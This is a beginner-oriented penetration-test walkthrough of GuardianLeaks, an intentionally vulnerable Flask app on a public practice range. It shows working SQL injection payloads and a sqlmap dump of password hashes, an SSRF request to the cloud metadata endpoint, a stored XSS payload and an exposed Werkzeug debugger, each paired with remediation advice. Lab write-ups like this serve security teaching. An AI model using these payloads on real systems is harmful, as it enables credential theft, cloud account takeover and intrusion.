What We Found — TL;DR

This is a walkthrough of a web app pentest against pentest-ground.com — a public security-testing practice range — targeting GuardianLeaks, an intentionally vulnerable “document leak” publishing app on port 81. It takes you from the first nmap scan through database dumping, server-side request forgery, and an exposed debugger, using nothing but the everyday toolkit.

What to expect reading this:

  • A search box with UNION-based SQL injection → the whole user table (bcrypt hashes) falls out
  • A blog-post reference field fetched server-side → SSRF straight into cloud metadata
  • A title field that’s not output-encoded → stored XSS the “obvious” test misses
  • A Flask app shipped with debug=True → an exposed Werkzeug debugger (RCE surface)
  • Step-by-step commands with real output at every stage, and a full animated kill chain
⚡ Quick Summary — What Was Exploited
● CRITICAL SQL Injection — POST /search (query) → full user/credential dump · CWE-89 · OWASP A03 · WSTG-INPV-05
● CRITICAL SSRF — /create reference field → cloud metadata / IAM · CWE-918 · OWASP A10 · WSTG-INPV-19
● CRITICAL Exposed Werkzeug Debugger — /console, debug=True → RCE surface · CWE-489 · OWASP A05 · WSTG-CONF-02
● HIGH Stored XSS — unencoded title field renders in title/h2 · CWE-79 · OWASP A03 · WSTG-INPV-02
● MEDIUM CSRF on /create — no anti-CSRF token · CWE-352 · WSTG-SESS-05
● MEDIUM No login rate-limit + permissive CORS + insecure cookie + no HSTS · CWE-614 · OWASP A07
● LOW Clickjacking — no X-Frame-Options / CSP frame-ancestors · CWE-1021

Tools used in this walkthrough: nmap · testssl.sh · ffuf · sqlmap · curl

Skill level: Beginner-friendly — every command is explained.


Target
pentest-ground.com:81
Environment
Lab
Framework
Web App (Flask)
Date
2026-08-30
3
CRITICAL
1
HIGH
2
MEDIUM
1
LOW

Phase 1 — Information Gathering

Kick off with a service scan and a header grab.

nmap -sV -Pn -p 80,81,443,8080,8443 pentest-ground.com
80/tcp open http nginx 1.31.4 81/tcp open ssl/http nginx 1.31.4 <- target (HTTPS) 443/tcp open ssl/http nginx 1.31.4 8080/tcp filtered http-proxy 8443/tcp filtered https-alt
curl -sk -I https://pentest-ground.com:81/
HTTP/1.1 200 OK Server: nginx/1.31.4 Access-Control-Allow-Origin: * Set-Cookie: SessionID=encrypted-session-id; Path=/

Two issues before we even log in: a wildcard CORS policy and a session cookie with no HttpOnly/Secure/SameSite. testssl.sh later confirms there’s no HSTS (though TLS 1.2/1.3-only is fine).

Phase 2 — Enumeration

Content discovery with ffuf maps the app.

ffuf -w common.txt -u https://pentest-ground.com:81/FUZZ -ac
/login /logout /dashboard(302) /console /create /post/1..N /clients /blog /services /about /contact /search

The interesting sinks: /search (a query param), /create (builds a post from title, content, description, author, and a reference URL), and /console — which serves a Werkzeug interactive debugger, the tell-tale sign of Flask running with debug=True.

Phase 3 — SQL Injection → Credential Dump

A single quote in query throws a 500 with a SQLite error. Finding the column count (5) and confirming with a UNION:

curl -sk -X POST https://pentest-ground.com:81/search \ --data-urlencode "query=zzz' UNION SELECT sqlite_version(),2,3,4,5-- -"
... 3.27.2 ... (SQLite version leaked → injectable)

From there it’s a standard dump — schema, then the users table:

curl -sk -X POST https://pentest-ground.com:81/search \ --data-urlencode "query=zzz' UNION SELECT username||':'||password,2,3,4,5 FROM users-- -"
CREATE TABLE users (id, username, email, password, phone) Bonnie : bonnie@security-guard.com : $2b$12$fZvC... (bcrypt) admin : ...

sqlmap reproduces it hands-free:

sqlmap -u "https://pentest-ground.com:81/search" --data="query=test" \ --dbms=sqlite --dump -T users --batch
CRITICALSQL Injection — POST /search
UNION-based SQLi over a SQLite backend dumps the full user table including bcrypt password hashes. Fix: parameterised queries; disable verbose SQL errors. · CWE-89 · WSTG-INPV-05

Phase 4 — SSRF in the reference Field

The reference field on /create is fetched server-side and reflected. Point it inward:

curl -sk -X POST https://pentest-ground.com:81/create \ --data-urlencode "reference=http://169.254.169.254/latest/meta-data/" ...
ami-id instance-id iam/... hostname (cloud metadata reflected)

On a real cloud host that path leads to IAM credentials and account takeover.

CRITICALSSRF — /create reference field
Server-side fetch of an attacker-controlled URL reaches the cloud metadata endpoint. Fix: allow-list outbound URLs, block link-local/RFC1918, use IMDSv2. · CWE-918 · WSTG-INPV-19

Phase 5 — Stored XSS (the easy-to-miss one)

The content field is HTML-encoded on output, so the obvious <script> test comes back clean. But testing each field separately shows the title reflects unencoded — in both the <title> tag and the <h2> on the post page:

# title = </title><script>alert(1)</script>
/post/N renders: <title> </title><script>alert(1)</script> ... <h2> </title><script>alert(1)</script> ... (raw, fires)

A live stored XSS for anyone viewing the post. The lesson: one encoded field doesn’t mean the app is safe — test every sink in its own context.

HIGHStored XSS — unencoded title field
The title is output unencoded in the title tag and body heading. Fix: HTML-entity-encode output on every field, consistently. · CWE-79 · WSTG-INPV-02

Phase 6 — Exposed Werkzeug Debugger

curl -sk https://pentest-ground.com:81/console
<title>Console // Werkzeug Debugger</title> CONSOLE_MODE = true ; EVALEX ; SECRET = ...

The debugger is reachable with EVALEX on, and unhandled errors (like the SQLi 500) render full stack traces leaking source and environment. If the debugger PIN can be derived from the leaked machine data, that’s remote code execution — there’s a public Exploit-DB module (43905) and a Metasploit module for exactly this. Root cause: Flask running with debug=True in production.

CRITICALExposed Werkzeug Debugger — /console
Interactive debugger + full tracebacks in production. Fix: debug=False, serve via gunicorn/uWSGI, generic error pages. · CWE-489 · WSTG-CONF-02

Attack Chain

⚔ SQLi + SSRF + Werkzeug Debugger → Full Compromise Target: pentest-ground.com:81 (GuardianLeaks) — three critical weaknesses, two exploit paths 🎯RECONnmap · headers quote → 500 💉SQL INJECTIONPOST /search 5-col UNION 🔑CRED DUMPusers · bcrypt traceback 🐛WERKZEUG/console debug PIN → eval RCE SURFACEcode exec — parallel path — 🌐SSRFPOST /create server-side fetch CLOUD METAlink-local · IAM F-001 · SQL InjectionCWE-89 · unauth DB read→ full credential dump F-002 · SSRFCWE-918 · server-side fetch→ cloud metadata / IAM F-003 · WerkzeugCWE-489 · debug=True→ RCE surface F-004 · Stored XSSCWE-79 · unencoded title→ fires on post view
🔍 Click the diagram to enlarge

Findings Summary

ID Severity Finding Affected Endpoint CWE OWASP WSTG
F-001 CRITICAL SQL Injection → full user/credential dump POST /search (query) CWE-89 A03 WSTG-INPV-05
F-002 CRITICAL SSRF → cloud metadata / IAM POST /create (reference) CWE-918 A10 WSTG-INPV-19
F-003 CRITICAL Exposed Werkzeug debugger (debug=True) → RCE surface GET /console CWE-489 A05 WSTG-CONF-02
F-004 HIGH Stored XSS via unencoded title POST /create/post/N CWE-79 A03 WSTG-INPV-02
F-005 MEDIUM CSRF (no anti-CSRF token) POST /create CWE-352 A01 WSTG-SESS-05
F-006 MEDIUM No login rate-limit + wildcard CORS + insecure cookie + no HSTS /, /login CWE-770 / CWE-614 A05 WSTG-ATHN-03
F-007 LOW Clickjacking (no X-Frame-Options / CSP frame-ancestors) all pages CWE-1021 A05 WSTG-CLNT-09

Remediation Priorities

  1. Turn off Flask debug in production (debug=False, gunicorn/uWSGI) — kills F-003 and the traceback leaks.
  2. Parameterise the /search query and disable verbose SQL errors — F-001.
  3. Validate/allow-list the reference URL, block link-local/RFC1918, use IMDSv2 — F-002.
  4. Encode output on every field, not just content — F-004.
  5. Add CSRF tokens + SameSite, auth rate-limiting, a real CORS allow-list, HSTS, and X-Frame-Options — F-005/006/007.

A tidy little box that rewards testing every field and chasing each finding one step past “confirmed.”

Walkthrough = recon → exploitation · Attack chain = diagram + cards · watermarked · © SweshInfoSec
SUPPORT

// TAGS